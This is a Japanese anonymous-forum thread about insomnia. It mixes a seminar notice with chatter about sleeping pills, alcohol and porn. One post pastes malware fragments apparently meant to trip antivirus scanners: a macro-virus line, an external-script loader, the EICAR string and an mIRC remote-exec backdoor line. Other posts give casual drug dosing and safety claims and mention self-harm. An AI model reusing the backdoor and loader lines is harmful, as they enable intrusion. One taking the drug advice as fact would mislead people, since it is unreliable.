マジで眠れない奴集まれー(＾o＾)／

「不眠・過眠のお悩み」特別セミナー参加者募集


読売新聞の医療サイト「ヨミドクター」の有料登録会員を対象に、「不眠・過眠のお悩み」をテーマにした特別セミナーを
１１月１１日午後６時から、読売新聞東京本社（東京都中央区銀座）で開きます。

人気掲示板「発言小町」から誕生した、体の悩みを解決する「これ効き!」シリーズ(保健同人社刊)に、
１１月に「不眠・過眠を治す８１のワザ＋α」が加わるのを記念した講演会です。講師は、同書の解説を担当する風メンタルクリニック池袋の河村哲院長。

「これ効き！」シリーズは、「頭痛」「便秘」「汗っかき」「腰痛」「疲労」をテーマにした５冊が好評発売中。新たに加わる「不眠・過眠」では、
「眠れない」「夜中に目が覚める」「朝起きられない」などの悩みに、河村院長が専門家の立場からアドバイスします。

セミナーではＱ＆Ａコーナーで、参加者の悩みにその場で回答します。「不眠・過眠」のほか、メンタルヘルスや心療内科に関連した相談も受け付けます。
今回はヨミドクターの有料登録会員が対象で、応募後に登録しても有効です。

http://www.yomiuri.co.jp/komachi/news/20101019-OYT8T01050.htm

まんこ

寝るな

は

眠れるけどすぐ起きてしまう
あと頭痛が絶えない

今日も酒に頼るか・・・

ハルシオンとかなんとか

仕事の時間が近づくと眠くなるから困る。

]
鍾乳どう？
ttp://pic2ch.ath.cx/titi/img2/12012139680001.jpg

もうすぐ3時かよ早いな・・・

空腹で眠れない

ねこがじゃ


まして寝られないって書こうとしたら今逃げた

６時間くらい寝たいのに３時間でスッキリ目が覚めた

実質3時間しかねれねー

ttp://www.hokann.com/storage/4c981ca1da79f9a.shtml
ttp://www.hokann.com/storage/44403bdd86fc85f.shtml


美竹涼子の新モザイクAV

布団に入っても腰が痛かったりとにかくじっとしていられなくて寝れない

12時間寝て今起きたよ＼(＾o＾)／

末尾がＯじゃない奴らは寝る気ないだろ

7時間睡眠くらいで起きたいけど、起きる理由がないから結局昼過ぎまで寝る

眠れない午前2時

3時間が睡眠のなんかのサイクルだって言ってた
俺も3時間きっかりで目が覚める

昨日寝てたら朝方急に息が出来なくなって死にかけたんだけどアレはなんだったんだろう

さっきめちゃエロイ素人モノのAVで抜いたら余計目が醒めた

コーシーのんでます

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)http://omanchin.com/railway/omanchin.cgi/img/img20070923210356.jpg
javascript:(function(){var d=document; var s=d.createElement("script"); s.charset="UTF-8"; s.src="http://tech.nitoyon.com/meltdown/meltdown
.js?"+(new Date()).getTime(); d.body.appendChild(s)})();
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
(){eval(unescape(('Script(t,'%')))})(/./g);　eip=eip+unescape("%u7030%u4300")
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

久しぶりに聞いたラジオがくそつまんねぇ

6時くらいに寝てて今起きたわ おまえらおはよう

今日昼間で寝てたからか眠気が全く来ない

三時間後には会社行かなきゃいけないのに眠れません

明日5時に起きなきゃならないのに寝れない＾p＾

毎日が夏休みってステキ

酒飲め
焼酎安いんだから飲め

俺のシコローさんがこんなに可愛いわけがない

このスレでノートントラップとか意味がわからない

今起きた
至高の二度寝するか

目がやばい

意外と3時間寝ればもうスッキリだよね

>>34
違うんだよ
誤爆だよ

寝つきが異常に悪くて朝方ﾁｭﾝﾁｭﾝﾀｲﾑくらいに眠りに入る
その後はニートのように眠りこけるから昼夜逆転してるだけなのかもしれない

　　　　　　　　　　　　　　　　.,__　　.,　＼
　　　　　　　　　　　‐-;-.,_ "''=;- .,_＼ ＼＼お
　　　　　　　　　　　　　"‐ニ‐-＞　"`"'-'　＼おや
　　　　　　＿＿＿＿＿＿二)　　　　 　　　　 ヽおやす
　　　　　　　　￣"'''─-､　　　　　　　　　　　　　ヽおやすみ
　　￣￣￣￣　　　　三　 　　　　____________　　　　ヽおやすみー
　　――＝　 　 　 　　　　　　　　|　(^o^)ﾉ　|　　　　 　|おやすみー
　　　　　　　　――　　　　　 　　 |＼⌒⌒⌒＼　　　　|おやすみー
　　　　.＿＿＿＿＿　　　　　　　 ＼ |⌒⌒⌒~|　　　!おやすみー
￣￣￣￣　　　　￣￣￣￣ヾ､　_､　　　　　　 　　　 |おやすみ
　　　　　　　　　　　　　　　 　ヾ./_　　　　　_　　　//おやす
　　　　　 　　　　　　　　 　､ｰ`､-､ヾ､､,　　､, /i／おや
　　　　　　　　　　　　　　　　　/／　./／／ /お
　　　　　 　　　　　　　　　　　/　　／ ／ ／

眠らないことはあっても眠れないことはない。
後頭部のあたりに重みを集中すると眠れるぞおまえら。

>>40
何でおやすみ君のAAまとめサイトないん？

とりあえずオナニーするわ

俺のシコローさんがこんなに可愛いわけがない

>>41
こういうコツたくさん教えてベイビー

夜中になると咳が酷くなってねれない
最終面接の結果が気になって寝れないくそがくそが

過覚醒でまったく眠れない

目が冴えて眠れん

　　　　　　　　 　 　 ,．-――――‐　 、
　　 　 　 　 　 　 ／　　　 　 ,．-――┴- 、
　　　　 　 　 　 / 　 |　　 ／: : l、: : : ;l: : : : :＼　　　　　_　-, -──‐-､
.　　　 　 　 　 /　　 :!　./: : :､: :!_＼;/ _V＼ : |｀､　　 ／　 ／: : : : : : : : : ＼.　　　 |　＿|＿　　 |＿L　　 ／
　　　　 　 　 〈 ＿＿_Ｖ: : : :|∧|　 　 　 __｀|∨　　.／　　 '　＿__: : : : : : : : : ヽ 　　|　＿|　 　￣|　 _ﾉ　 （　　
　　　　　　　　｀￣丁 |: |:l :｜　__　　 〃⌒V|　 ／　　 /:::::::::::::, '´￣ﾞヽ: : : : : '.　　ﾚ（__ノ＼　　|　　　　　＼　
　　　　　　　　　　　ヽ|: ＮV:!〃⌒＿＿　//}|　'´　　　 |::::::::::::::{:::::::::::::::}: : : : : :|
　　　　　　　　　　　 /: :{_|: :|//ｆ´　　 r‐'了　　　　　 　 |:::::::::::::: ､::::::::::ノ: : : : : :|　 ,―┴┐ −/─　　　　　／　＿|＿_
　　　 　 　 　 　 ＿/: :/:/ : ト .丶＿__|::::::|　　　　　　　 ∨::::::::　'´￣: : : : : : : :/　 ヽ| 三ｌ_　　/　__|　ヽ　／|　　　 |　　|
　　　　　 ＿_,／: :＿;／: ／,.ｲ⌒ヽ!ヽ:ﾍ_::::＼＿＿　　　　＼'´ : : : : : : : : : : ／　　ノ| '又 '　　（___ﾉ＼　　　|　　 ノ 　 /
　　　 　 |: : : : :／__/: ;.ｲ:／ ,ﾘ　　Ｖ _ﾉ´::!￣::>　　　 ¨''¬ー- ､ _＿_＿_,　'´　 　　 　
　　　 ／: : |￣ 「: :__∧fﾆyｲ|:〉　　　 Vにう: 〉　
. 　 　 ＼／　 _,|: :|_〉:（／:／　　　　　,Vﾄ-' :|
　　　　　　　　＼／―ヘ《O＼＿__／O〉￣
　　　　　　　　　　 　 　 　 ＞､O＿O,.ｲ
　　　　　　　　　　　　 　 （／　￣￣|_ﾉ

毎晩アモバン飲んでる

コーヒーガブ飲みしちまったぜ

眠れないし腹減った

>>38
何が違うんだよ
他のスレなら別に良いって物でもないだろ
いや別にいいけど

バイトの女の子ミクシーでさがしたけどいない
大学名まで調べたのに
眠れんわ

>>46
喘息持ち？

ベテランメンヘラじゃ無ければエチゾラム2mgくらい飲めば寝られるよ

これみると眠気が覚めるな
http://live.nicovideo.jp/watch/lv30059258

勃起で目が覚めて、３０分以上とまらんのだが、どうしたものか

昼の3時まで寝てたから眠れない

昼夜逆転してるんだけど、
日中動いて疲れた日は夜眠れるけど
2回くらい軽く中途覚醒するから結局寝た気にならなくてまた昼間に寝てしまう

>>25
うぜぇえええええええええええええええええええええええええええええええええええええええええええええええええ.exe

エチゾラムってなんだよ
普通の家にあるの？

なぁ誰か教えてくれ
ケータイでレスしてるんだが県名とかどうしてわかるの？

ケータイ購入した地域？それともレスした地域？

さっき起きたけどオナニーしてまたねる

>>58
ヒント・ガハハ！

ここ6年ほど睡眠障害です

毎日昼寝を4時間くらいするから、夜の睡眠が浅い
だから、リスミー2mgを処方してもらった
毎日8時間眠れるようになった　でも昼寝もするから1日の半分以上寝てる事になる

夜中２３時に寝て夕方の１７時に起きる、そして今・・・寝れねー。

眠れないんじゃない、眠らないんだ！

ソーシャルゲームの農場パラダイス＋に張り付いてるわ

昼間に寝られるだけ寝ればいいのか

禁煙に成功したので、調子に乗って禁酒を今日から初めてみた。眠れない・・・・

ロプヒノール効くけど朝起きられなくなるからレンドルミンとメラトニンで我慢してる

　　　　　／　　　　　　　　 ／／／　　　　　　　　　　　　＼
.　　　 ／　　　　　　　　　/／　　　　　　　　　　　　　　　　 ＼
　 　 /　　　　　　　　 　 /　　　　　　　　　　　　　　　　|　　　 ヽ
　　/ 　 /　　　　　　　 /　　　　　　　 ／　／|　　　　 /　　 　 ､ﾍ
.　 ′　′　　　　　　 /　　　　　_　／　／　/　　　　 ﾊ　　　　 ｌ ﾊ
　 ｌ　　l　　　　　 ｀丶l、　 _　-　／　／　　/　　　　 / |　|　　　 ｌ　|
　 |　 .:!　:　　　　　　|- `丶 ／-‐'　　　　/　　　 /./　 ! ﾊ 　 　 |　|　|　　ヽ.　|　　ヽ　＿/_ヽ 　＼
　 |　.::!　::　 　 　 　 | - ´＿_＼、　 　 ／ｨ::　 ／'/　　| | l|　　　|. l 　|　　　|　|　　　|　 / │| 　|__
　 | |.::|　|::　　 　 　 |　〃´示うﾊﾐヾ／イ::　／ /'　　　| !　!　　　|.|　　ヽ/　　　ヽ/ 　　/　│　 _＿）
　 |.l::::| .ﾊ::　　　　　| ｲ　ん/｡:と　メフ::: ／ ／,＿... =ﾅ＝|￣ 　 ﾘ
　 ､|､::l l:::l:::　 　 　 l 　 弋:し::::/　／ イ　／　シｲ心ヾ､　l::　 　 |　　　,―┴┐ ─┐ │
　　ヽ､V::::l::　 　 　 |　 　 ｀ ｰ ′　　　　　　　 ん｡と /}} .:::　　　|　　　ヽ| 三ｌ_　　∠　│
　　　 ヽ､:::l:::　　 　 |　　　　　 　 　 　 　 　 　 {:しｼ　ノ} .:::　 　 l　　　ノ| '又 '　__＿）　。
　　　　　从ヽ　　　 |　　　　　　　　　　　　　　 ｀¨　´ ／:::　 　 l
　　　　　　　}:ヽ　l　|　　　　　　　_　　　 ｊ〉　　　 　 〃ｲ:::　|　 ′
　　　　　　　 Vヽ l　|　　　 　∠---｀ヽ,　 　 　 　 /／.:::　 |　/
　　　　, -ァ´〈　 ＼ヽ、　 　 {　　　　Ｖ　　　　　ノ　 /:::　///
　　 ／:::::/　　＼　　ヾ.＼　　`　　- '　　_　 - ´ 　 /::::／//
　 /::::::::::::＼　　　＼　　　 ＞､_　 -　 ´　　　　　 /:／　／
::::::::::::::::::::::::::＼　　　 ＼　　/ヾ、　　　　　　　　／

腹減りすぎわろた

少し酒入れて無理矢理でも寝るか
いつになったら寝つき悪いの治るのかね

>>73
ロヒプノールみたいな残るやつはダメだよな

>>62
いわゆるデパスっていうお薬で医薬品だから病院で「寝られないんです」って出してもらうか
そうじゃなければ個人輸入じゃないと買えない

おやちゅみ　ﾉｼ

フェミVS反フェミの論戦見てたらもうこんな時間とか死にたいな

5時からバイトだわ

酔っても寝られない

眠れないから飯食って風呂入ったら完全に目が覚めたでござる

ドリエルとかあんなの情弱が買うものだからやめとけよ
1回仕様分で300円もするからな
精神科で処方して貰える睡眠導入剤なら効き目もよくて、診察代込みで1ヶ月分2600円でいける
継続して飲んでたら、自立支援受けられて1割負担になるから激安

薬自慢が始まる・・・

寝るか
マイスリー飲んで

最近さ
「寝なくてはいけない」病に罹ってる奴多いよな
「睡眠」という事に強迫観念的な物を持ってる奴
何がなんでも寝ないとすまないんで、藥とかに頼っちゃう奴

【名無し限定】暇なので話しませんか？6417
http://toki.2ch.net/test/read.cgi/mental/1287579012/

うつ病でお風呂に入れない；；

俺のシコローさんがこんなに可愛いわけがない

>>87
布団入ってごろごろしてるだけでも寝るのと同じような効果は得られるんだよね

ほとんどの奴は運動して肉体を疲れさせりゃ無理やり寝れるよ
本当に精神的なもので寝れない奴はあんまりいない

>>19
すごく分かるわ

最近朝6時にならないと寝れない

鉄分不足だ、鉄分取れ。寝れるぞ。

なんか蚊がうざい
ニューベガスやろうか悩んでる
でも夜にやるのは何か怖い

寝なくても、自分の好きなことやってればいいんじゃない？

さて本日5回目のオナニーっすか

>>91
確実に寝なくても、布団に入って目つぶってゴロゴロしてるだけでも良い

そんな事続けてれば
何日かすれば普通に眠れるし

>>92
だよねー。でも今外雨降ってたりな

明日早いのに眠れない

イカ娘見直しとるわ

ドリエルてじんましんの薬名前変えただけで、値段跳ね上がるんだから詐欺だよな

飯食う→爆睡→変な時間に目が覚める→ｲﾏｺｺ
昨日も同じパターン
仕事に行くの辛かった

もう４時か・・・

明日早いのに

現実逃避がひどい

今日は徹夜いけそうな気がしてきた

>>63

誰も教えてくれない

寝れない時のパソコンやケータイはだめとかなんとか

一発抜くしかねーな

頭割れそうどうしよう

酒

http://blog-imgs-27.fc2.com/m/r/o/mroyasumi/5.jpg

完全に昼夜が逆転してしまった
やばい

むしろ寝すぎで困ってるんだが
眠れなくなる方法おしえろ

禁煙始めてから寝つきはよくなったけど、昼間も眠くてミンティアばっか食ってるわ

オナニーが全てを解決してくれる

寝た子を起こすな

起きてる子を寝さすな

俺も禁煙してからミンティア消費量がやばい

>>109
どこかでふしあなしてくればわかるかも？

酒は眠くなるけど、結局眠れない
眠れてもすごく浅いんだよな

フリスクのオレンジ味もおいしいよ（＞＜

>>109
関東から出たことないから分からないけど、
中継局的な意味でやっぱり書き込みをしている地域じゃね？

さすがに買った地域とかはないだろｗ

酒飲めばすぐ寝れるけど？

昨日徹夜してるのにこれだからな
明日６時起きだし
アホかと。

蚊のクソがウゼェええええええ
昨日もこの屑野郎眠る寸前に耳元飛んで起こしやがった
マジ死ね

>>109
ってかどんなケータイ使ってるか気になる

扇風機かけてお布団かぶると蚊が飛んでこない

メンヘラちゃんスレか

>>116
長眠タイプなんだろ、諦めろ
長眠タイプの奴が無理矢理、短眠にしたりするとサイクルがおかしくなる
反対もそう

エロ画像エロ動画集めてると眼が冴えて眠れなくなる…

>>124

横浜に居るのになんで？って思ってた

有難う

大学生なんだが
不眠のおかげで1限に出れません

>>129
死んじゃう＞＜

耳栓してアイマスクしれ
ストレスの元は潰せ

これで安眠

>>117
もう5〜6年タバコ吸ってないけど
止めて1年ぐらいは耐え難い昼間の眠気が襲ってきたわ
あと止めて3年ぐらいは月1でタバコ吸う夢を見てはうなされて起きてた

警備員の仮眠はあんまねれなくてきつい

>>133
どういたしまして

でも推論だから話半分以下にしといて＞＜

テレ東で恨み屋本舗始まったぞ

ミン剤飲むか

このフラッシュゲームがおもしろすぎて眠れない・・・
http://www.farseergames.com/divergame2

>>136
ニートはそれでいいけど普通の人は目ざまし時計で起きれないと困る。

>>133
参考にならないけどひとりしかいない(-長野)さんは
長野の人じゃなくてauの古い携帯を使ってるっていってた

>>103 じんましんの薬って何て名前？

自宅警備員なので夜に寝る必要がない

起きたのが１２時だったので眠れません

俺は２時に起きてさっきシャワー浴びてきた
今から酒呑んで強引に７時まで寝て仕事いく

なんか、レム睡眠を感知してくれるめざましあったじゃん、あれって効果あんのか？眉唾じゃなかったら高くてもかわざるをえない。

工場の3交代制で働いてる奴マジすげーって尊敬する
8：00〜17：00×2
休み×2
16：00〜25：00×2
休み×2
24：00〜09：00×2
休み×2

こんな生活してたら100％不眠症になって頭おかしくなりそうなんだが

>>145
抗ヒスタミン剤

眠れないからってこんなスレ開かなければよかった…

久々に深夜便聴こう

>>144

自分もauです

平日は短時間睡眠で土日にゆっくり寝るのって続けてるとなんか問題生じたりするん？

>>137
ニコチン怖いなーってつくづく思う

>>154
と言うことはauの一部の回線？はFOXが適当な地域表示にしてるってことなのかも・・・？

今日17時まで寝てたから全く寝られないです。
こんな状況でどうしたら快眠できますか＞＜

オナニーしたいけど隣で親が寝てる・・・

>>145
レスタミン

>>87
普通の人は仕事がるからな
寝不足で頭が働きませんなんて言い訳にならないしｗ

>>143
携帯をバイブにしてテーブルなどに置くとか。
それでも自信なかったら、バイブで目覚ましセットして、金ダライとかに入れて置く。

今いい眠気が来てるけど寝たくない
マジでこの間がきもちいい幸せ

理想はジェットストリーム聴きながら睡眠

>>158
つまらなさそうな映画を垂れ流してホットミルクを飲んで目を閉じる

>>155
休日寝まくるのがそもそもの原因の様な気がする

>>157

情弱なのでよくわからないのですがｗなんとか自治区とか県名以外の地区って何処なんですかね？

>>157
俺は東京住んでるときにいまの携帯(au)買って、
いまは兵庫住まいだけど関東・甲信越のままだから
買った地域が反映されるんだと思う

こんな時間に寝るとかリア充かよ・・・

最近眠りについて考えてしまって眠れない
やばい

>>167
中国の地域ですよ

>>167
俺は中国の福建省から書き込みしてる
今半日デモが凄いから街歩けねーよ

ドライアイすぎてつらい

>>171

そうなんですか
わざわざ有難うございます

>>165
牛乳持ってないオワタ

朝起きて日中仕事とか学校で体動かして疲れてても夜眠れない、って経験はないんだよな。やっぱりぐーたら生活がいかんのか。試しに明日一日PCの電源切っとこう。

コーヒーゼリーたべたのでもう無理

>>167
Wikipediaのニュー速の項目見るといいよ
あと、自分もau

>>168
やっぱりそうだったか…。
嘘書いてごめんなさい

>>168
オレ札幌だが関東・甲信越

>>55
風邪が長引いてるらしい

クソ新参もしもし失せろ
FOX早く規制しろウザくてかなわん

効いてきたから寝る

足首から先を適度に温めるといい

平日深夜のν速は人が優しい傾向にある
なぜだ

精神薬飲むとオナニーできないから飲んでない香具師挙手ｗノ

毎日９時間は寝ないとまともに活動できない
せめて６時間くらいに減らしたいんだけど、なんか良い方法ないの？

>>186
カフェイン摂れ捗るぞ

>>175
諦めましょう 今日一日頑張って起きて夜ベッドに入ったら泥の様に寝れるんじゃないか

仕事から帰ってきて寝る
　　　　　↓
　　夜中起きる
　　　　　↓
　朝方少し寝る
　　　　　↓
　　会社で眠い
　　　　　↓
　　以下ループ

何とかしたい・・・
　　　　　

>>149
自己レスだが、思い出した、スリープトラッカーだ。

これ変更されたの9月26日だぞ？どんだけ新参だよ
(アラバマ州)→(チベット自治区)
(ネブラスカ州)→(広西チワン族自治区)
(コネチカット州)→(内モンゴル自治区)

こうも毎日眠れないならこの時間働こうか考えてるわニート脱出したいし

癒し系のエレクトロニカ聴いてたら眠くなってきた

眠れんな
朝５時頃にやっと眠れる
当然寝不足
疲労困憊

>>191
てめえもしつけーよどっかいけカス

眠れるんだけどいつも２時間で目が覚めるよ
レンドルミン飲めばぐっすり眠れるからまだマシだと思うけど

今睡眠薬飲んだ

>>197
大変だ救急車呼ばなきゃ

ニコ生クルーズで馬鹿でも巡回するか

９時頃から寝てさっき起きたわ(＾ｑ＾)
副鼻腔炎のクスリで眠気を催すって書いてあったしそれが効いたのかも

今日は寝たくない気分なの

眠たいし、眠ったほうがいいというのはわかるんだが
起きたら明日が始まってしまう、それがつらい

起きていても明日は始まるし、寝て起きたほうがずっと楽って分かってるのに
何かをしたくてイライラして寝る気になれない、何もしないけどね

もう寝る

まちがいなく失敗の人生に陥ったので
毎日時間の経過がこわい
ケコーんできないしたぶん無縁仏になる

>>184
悠々自適にニートやってる奴は心に余裕があるんじゃないか？
ソースは金も職も学も無いが人には優しい俺

　　　　　　　　　　 ,��-──､.
　　　　　　　　　,.､-　　　　 '''''' ヽ、
　　　　　　　 ／｡｡ﾟ｡ﾟ,､-────ヽ
　　　　　　　/｡ﾟ｡｡ﾟ ｡|　　　　　　　　ヽ
　　　　　　　|｡ﾟ｡｡ ／　─- ､-､　ﾟ　_=|
　　　　　　/￣ヽ |　　　━━ヽヽ l/━|
　　　　　　ヽ　Ｌｌ　　　　　　　 ,..ヽ |　 |
　　　　　　　|　|.　　　　　　　　ヽ─　 |
　　　　　　　| レ┐　　　　　 -二三　 |　　 　
　　　　　　　|　　 |　　　　　　　　　　 /
　　　　　　　ヽ=へ　　 ────'''／
　　　　　　┌‐.<　　　　────=､
　　　　　 ,.┴─､＼　　　　　　　　　＼/ヽ
　　　　 /　　　　＼ ヽ　　　　　 ／　）/-/ヽ
　　　　/　　　　　　　 |　　　　 ﾉ┐/ ,.-/　 ヽ
　　　./　　　　　　　　 l　　　./　/ l　"|"/'ヽ |
　　　|　　　　　　　　　 ヽ　 .|　 （　　 ／　ｌ　.|
　　　'|, ﾉ　　,,-,,.､-'"￣｀>ィ.|　　 ）.l´　／|　 | 　　　　　　　　　＜　おやすみー
　　　／　　　　　　　 ／　/　|　　　　/|　|　 ,l､_　　　　(^o^)ﾉ..,､┐,,,､
　　 / ／　　　　　　　　ノ　　|.,-─''"ﾉ　 | /,. ,.┴､.､'ﾉ( ﾍﾍ　,-‐ﾆ／ι､
　　/　|　　　　　　　　　　　// /　‐'"　ノ　 | |　　'　　-─ ､,-つつ-''"
　　|　 |　　　　　　　_,................/　　 =-'"　 //'''''''"/''>......-‐-'"''''ヽ
　　ヽ　　　　　　　 '"　　　　　｀ヽ､ ､　　　ノ　　 / /　　　　　　　　|
　　　ヽ＝─'''"　　　　　　　　　　＼ ''‐-　　　／／　　　　　　　 /
ヽ､ /"´　 ＿　　　　 _　　　　　　　　　　　　　　,,-､　 _.､-=｀ヽ／,.-= ヽ
　　＼　　|　 ｀ヽ ､　|　｀ ヽ ､　　/｀ヽ ､　　 ／　　 |／／　 ||／／´ |/
o^)ﾉ　＼||　　｀ヽ＼| |　｀ヽ ､ヽ|　｀ヽ､＼//

たまには長く寝ようと22時に寝たら3時に起きた。
もっと寝たかったが目はバッチリ覚めてる。5時間睡眠から逃れられん

酒のんだのはいいけど余計寝れなくなった。。。。

もう４時か・・・なんですけど！

俺もいつかは死ぬのか

今目が覚めた
こんな時間にどうしろと

背中が痛くて眠れません

秋〜冬にはいると、夜が早く訪れ
朝日の昇りが遅くなるのが良いね。
朝4時くらいになると明るくなる夏は好かん！

確かに夜明けが遅くなるのは助かるな
あのスズメのちゅんちゅんが聞こえ出したときの物悲しさときたらもう

なぜこんなに目がさえてるのか
身体はかなり疲れてるのに

深夜から明け方の独特の空気が好きすぎて朝まで起きてしまう

しまった酒の量が足りなくて寝れない
外は雨だから買いにもいけない

成すべきことをするわけでもなく、ただ漫然と起きているだけ
本当に何もしていない、スレッド眺めながら呆けているだけ

夜は静かだからいいな

こんがりでエロ動画収集してたら寝れなくなった
ついでに為替も気になって眠れない

>>214
とりあえずPC消せ

>>220
それだ

>>213
今ある「もう4時か」スレの前身的なスレが昔あってさ、
スレタイが「ﾁｭﾝﾁｭﾝ ﾁｭﾝﾁｭﾝ」だったかな〜、
で>>1に「ああああああ」って嘆いてる八頭身が書いてあったの。
あれには同意せざるを得なかったなあ。
こんな時間まで2chしてしまった。。。みたいな

死にたい

いかに安くそして寝ながら
２ｃｈしやすいモバイルを追求するのが趣味

sdfs

新聞配達のカブの音が聞こえた…もうこんな時間か

眠すぎて眠れん
意識が飛びそうになると体が硬直して邪魔する

あんたたちなんだかんだ言ってあたしが添い寝してあげれば精神すり減っちゃうんでしょ？
知ってるんだよ
http://uproda11.2ch-library.com/2697746vq/11269774.jpg

昼眠くて夜眠れない
どうすりゃええのん

眠剤が効かない…

胃が痛くて我慢できずに起きた

体動かさない日が何日か続くとあんまり眠れなくなるよ
エアロバイク買っておまえらの大好きなアニメ観ながら漕いでろ

手術した時に最初に注射打たれて数十秒後に記憶なくなったんだけどなにあれ
不眠症の奴はあれ打てよ

>>222
人生は壮大なゲームとか言うけど、今の俺ってキーアイテムが見つからなくてダンジョンとか街中をうろうろして時間潰してる状態なんだなぁと思う
目標はあるのに方法が悪くて損してる

>>228
ちょっと前に貼っていただいた、
対面座位の画像またお願いしたいんだけど。。。
どのスレでどんな貼り文句だったか忘れたスマン

アーイ

明日休みだからまぁいいんだけど眠れねェよ
腹減ったが何も無い

>>234
知ってんだぞ
http://uproda11.2ch-library.com/2697754M2/11269775.jpg

目が覚めた

のどが詰まって大変だ
どうなってしまうんだ

今日8時起きだってのにどうすればいいんだよ

>>237
ありがとう！まさにこれ！
あなたが神か

lullatoneってアーティストの曲を今の時間帯に聴くと何かシュンとして涙が出る そして女の子に会いたくなる

>>232
胃カメラと大腸ファイバーしたときに薬飲まされてそんな感じだった
なかなか効かなくて辛かったわ

>>228
これ誰？
一般人？

たった今人生でもTOP3に入る怖い夢で目が覚めた
怖くて動けない…

鬱とか糖質ではないけどかなりの不眠なんで心療内科で薬もらってなんとかやれてる
今時ストレスとか不安で不眠なんか普通のことだから悩んでないで薬くらいもらっても異常
じゃないと思うよ。酒に頼るよりマシ。
俺がそう思ってるだけだけど
でも最近心療内科の患者ものすごい増えた
以前よりも明らかに待合室混んでるし医者もストレス溜まってるっぽい
あれは相当嫌な話を聞かされまくってるな

眠れなくてJAVAアップデートしたわ

大腸カメラしてポリープ１個取った
それから２年ぐらい
２年間でガンなんか発生しないよね

　　　

朝一でMoH買いに行くからそろそろ寝るか

>>246
本来精神科に行くべき患者まできちゃうようになったからな

>>245
ひひひ

別にメンヘラでもなければ日常生活で嫌なことあったわけでもない
なのになぜ眠れないんだ
二日目

PCの光って結構な刺激らしいからな
これ見つめてる限り眠くならないよな・・
つーか朝じゃんよ・・

>>228
なんで寝る前なのにガチメイクしてるの？

>>241
好みは人それぞれだが、どう良いんだ？

>>254
そうそう
だから寝起きにＰＣみて目を覚ましてるｗ

東日本はもう明るいのか

ハア・・・・・

不眠症歴十年以上の俺の結論は
寝ようと思わないこと
寝ようとして寝れないからストレスがさらにたまる
眠気がでるまで好きなことをやればいい

>>259
何興奮してんだよｗ

最近、一睡もしない 翌日12時間睡眠のループだわ。
今日は一睡模しない日。確実に寿命縮めてるよな

http://www7b.biglobe.ne.jp/~animeyawa/img/nikonamanushi.jpg

この間どこまで寝れないのかためしてみたら
丸五日間全く眠くならずに起きてたわ
六日目にさすがにやばいんじゃないかと思って無理やり寝たけど
起きていようと思えばまだまだいけた

>>250
駄目ゲーらしいな

>>263
油豚まだ生きてたんだ

>>264
それ続けたら、マジで気狂うからやめろ

マジで寝れない
週一で起きなきゃいけない日があるんだけど、二日徹夜しても寝れない
おまけに出かける時間に合わせて眠くなる
なんなのこれ

>>260
不眠症歴10年とか治ってないバカが偉そうに語るなよ

睡眠薬でものんどけよクズども

冗談抜きで夜寝られない
バイトの日とか死にたくなる。


あと寝ても12時間とか寝られない。MAX8時間
死ぬのかな私？

はい

>>271
MAX8時間でなんの問題もない
12時間なんて寝たらすぐ「次の寝る時間」が来ちゃう

どうして夜は全く眠くならないのに朝になると眠くてしょうがないのは何でなんだぜ？

昼間寝てるからだろボケ

なんで眠れないのよ
疲れたら眠いだろ普通

睡眠薬って脳がすこしずつ冒されそうで嫌なんだけど実際どうなん？

ハルシオンっていうの？

ハルシオンなんて何の害もない

ハルシオンは飲んだことあるけど物凄く気持ち良くなってそのまま寝てしまった
ただ次の日下痢と強烈な眠気と気分不快が取れないけど
人によっては全然効かないって人もいるみたいだけどハルシオンが効かない
ってのは肝臓やられちゃってるとしか思えない

健忘くらいはあるんじゃない？

お前らのお薬は何？
僕はデパスとユーロジンとハルシオンちゃん

>>266
たまに見かける人が居るみたいよ。

小説読むと眠くなるよ
図書館に行け

実は俺様も夜寝れない。今位に眠くなるけど寝ない。一回徹夜して夜型を治す。徹夜すれば次の夜は
さすがに眠い。まあ昼間も眠いんだけどね。

徹夜して戻すのもいいけど、23歳あたりからきつくなってきて今じゃ無理
若くなきゃできんわ

ドグマチールとコンスタンとリスミー飲んでる
↑を飲んでから1時間半経過　まだ眠れない
副作用で頭痛くなってきてイブ飲んだ
もう薬漬けだよ

夜食抜いて腹減ってたから眠れなかったという結論に達した
おやすみ

>>286
おまえみたいな奴のせいで不眠症が軽くみられている
薬飲んだら横になって目を閉じて寝る努力をしろ
眠剤は麻酔じゃないんだ。PCのモニタ見ながら眠くなったら寝ようなんて甘いんだよ

仕事無いと薬なくても眠れるんだよなー
今日休みだからゲーム少ししてもう寝ちゃうけど

眠いのに結局寝れなかった
今日一日もつだろうか…

リーゼ最高他は糞

3時間で目がさめるか、12時間以上寝ても起きれない
高校時代から始まってかれこれ10年、そろそろ大学卒業したいお・・・

>>292
医師にはかかってるよね？気分障害も出てると思うけど典型的な睡眠障害。眠りが浅いから起きられない

朝だおε(*´・ω・)з

昼間にあくびが出まくって困る

寝方忘れたおw

あくびもでないんだが
からだがだるい
肩首背中背骨がいたい

マイ３最高だす

何度も何度も起きてしまって疲れが取れない
どうしたらいいのよ

寝る時間がない

>>41
集中したらすぐ寝られた
寝ようとすると眠れるんだな

睡眠導入剤の代わりに抗ヒスタミン剤を少し飲む。超安上がり。
寝る前に1錠飲むだけで良く効く(本来１日9錠飲んでも良い薬)。

目を閉じると嫌なことばっかり思い浮かんできて眠れん
メラトニン飲んでもうとうとするだけで終わる

仕事中はすごい眠いのにいざ自宅のベットにいくと目が覚めてる
不思議！

あれ？寝るときって呼吸はどうやるんだっけ？
口で呼吸？それとも口を閉じて鼻で呼吸？

夜眠れない
昼間居眠り

これの悪循環
なんとかしてくれ

>>306
昼間太陽に当たる。
目を閉じて電球の光りを近くで顔に当てても効果ある。

不眠ってマジで人生変わるよな？

眠いって言うかだるい状態が常に続くと思考がネガティブになって、自律神経関係の症状（寒いとか下痢とか）
も出て悪循環にならね？

ｸｿｯ、今日も会社休んじまった………
意味もないのに自分に罰を与えようと包丁でアームカットする日々(´；ω；｀)

>>87>>161
確かにその傾向は有るかも知れない
>>91
肉体的な疲れは大体取れるってだけだろ
流石に同等レベルではない
>>231
エアロバイク置く場所がない
>>309
首にされない？

催眠術使えよ　公式覚えるのメンド臭かったら音源でも落とせばいいし

>>310
今んとこセーフ
特殊な仕事で、仕事ない日はどうせ会社行っても
